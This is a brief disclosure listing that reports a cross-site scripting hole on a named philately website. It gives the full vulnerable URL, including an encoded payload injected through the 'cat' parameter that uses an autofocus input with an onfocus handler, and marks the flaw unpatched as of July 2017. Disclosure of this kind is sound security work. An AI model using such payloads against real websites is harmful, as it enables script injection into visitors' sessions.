philatelie72.com XSS vulnerability

Vulnerable URL: http://www.philatelie72.com/Materiel/Philatelie/detailmat.asp?cat=1%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Autofocus%20/;%20Onfocus=alertOPENBUGBOUNTY%20//%3E%3CSvg%3E=556=YVERT%20et%20TELLIER Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017...